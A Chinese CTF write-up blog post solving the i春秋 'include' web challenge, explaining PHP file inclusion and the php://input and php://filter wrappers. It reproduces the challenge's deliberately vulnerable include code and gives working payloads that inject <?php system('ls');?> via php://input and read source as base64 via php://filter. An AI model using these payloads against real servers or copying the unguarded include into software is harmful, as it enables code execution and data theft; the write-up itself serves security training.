

# i 春秋 web 题 <include>

原创

优哟嘿 于 2018-08-22 19:30:11 发布 1737 收藏 1

分类专栏: [CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_41894567/article/details/81947167](https://blog.csdn.net/qq_41894567/article/details/81947167)

版权



[CTF 专栏收录该内容](#)

8 篇文章 0 订阅

订阅专栏

打开链接地址: <http://454e308408314446b0961f6226b502e7ad8cd9afd5614658.game.ichunqiu.com/>

分值: 50分

类型: Web

题目名称: include

未解答

题目内容: 没错! 就是文件包含漏洞。

创建赛题

<http://454e308408314446b0961f6226b502e7ad8cd9afd5614658.game.ichunqiu.com>894567

题目中以给出提示, 这是文件包含题, 打开题目链接后出现:

```
<?php
show_source(__FILE__);
if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}
```

The screenshot shows the PHP configuration page for version 5.6.29. The system information is Linux 54b4f4116629 3.10.0-327.36.3.el7.x86\_64 #1 SMP Mon Oct 24 16:09:20 UTC 2016 x86\_64. The build date is Dec 13 2016 00:04:38. The configure command is shown in detail, including various options like --enable-inline-optimization, --enable-calendar, --enable-dom, --enable-ftp, --enable-gd, --enable-gdbm, --enable-gettext, --enable-gmp, --enable-iconv, --enable-icu, --enable-imagick, --enable-ldap, --enable-libxml, --enable-mbstring, --enable-mcrypt, --enable-mysql, --enable-openssl, --enable-pcre, --enable-pcntl, --enable-pdo, --enable-pdo\_mysql, --enable-pdo\_odbc, --enable-pdo\_pgsql, --enable-pdo\_sqlite, --enable-phar, --enable-png, --enable-posix, --enable-pspell, --enable-regex, --enable-session, --enable-shmop, --enable-soap, --enable-sockets, --enable-sqlite3, --enable-sysmsg, --enable-syssem, --enable-sysshm, --enable-unixODBC, --enable-xml, --enable-xmlreader, --enable-xmlrpc, --enable-xmlwriter, --enable-wddx, --enable-zip, --enable-zlib, --without-db1, --without-db2, --without-db3, --without-qdbm, --with-mssql, --with-pdo-dblib, --enable-opcache, --build\_alias=x86\_64-alpine-linux-musl, --host\_alias=x86\_64-alpine-linux-musl, --CC=gcc, --CFLAGS=-Os.

代码中包含一个phpinfo.php文件, 试着去打开这个文件, 什么也没有发现。而且可以发现改代码是没有防护的文件包含。

既然是关于php的, 可以使用php协议

在该链接下查看allow\_url\_include, 发现是处于打开状态。

Directive	Local Value	Master Value
allow_url_fopen	Off	Off

allow_url_include	On	On
always_populate_raw_post_data	0	0

这时就可以使用php://input协议，来观察下该目录下的列表  
 构造url /?path=php://input  
 传入 <?php echo system('ls');?>

https://blog.csdn.net/qq\_41894567

发现该目录下有3个文件；  
 再利用再利用 /?path=php://filter/read=convert.base64-encode/resource=dle345aae.php  
 读取文件内容；

https://blog.csdn.net/qq\_41894567

)  
 base64解码便可得到flag;

对于这道题中的某些地方应该还存在疑问，下面是一一所对应的知识点:

```
include(): 执行到include时才包含文件，找不到被包含文件时只会产生警告，脚本将继续执行
require(): 只要程序一运行就包含文件，找不到被包含的文件时会产生致命错误，并停止脚本
include_once()和require_once(): 若文件中代码已被包含则不会再次包含
```

https://blog.csdn.net/qq\_41894567

php:// 协议 访问各个输入/输出流 (I/O streams)

php://input协议 :

是个可以访问请求的原始数据的只读流。POST 请求的情况下来代替，因为它不依赖于特定的指令。打开的数据流只能读取一次；数据流不支持 seek 操作。不过，依赖于 SAPI 的实现，请求体数据被保存的时候，它可以打开另一个数据流并重新读取。通常情况下，这种情况只是针对 POST 请求，而不是其他请求方式，比如 PUT 或者 PROPFIND。

通过输入流以文件读取方式取得未经处理的POST原始数据；

php://filter

是一种元封装器，设计用于数据流打开时的筛选过滤应用。这对于一体式（all-in-one）的文件函数非常有用，类似 readfile()、file() 和 file\_get\_contents()，在数据流内容读取之前没有机会应用其他过滤器。

read=<读链的筛选列表>	该参数可选。可以设定一个或多个过滤器名称，以管道符（ ）分隔。
----------------	---------------------------------

具体可参考 [https://blog.csdn.net/qq\\_33020901/article/details/78706764](https://blog.csdn.net/qq_33020901/article/details/78706764)

php://filter是PHP语言中特有的协议流，作用是作为一个“中间流”来处理其他流

path=php://filter/read=convert.base64-encode/resource=dle345aae.php 将POST内容转换成base64编码并输出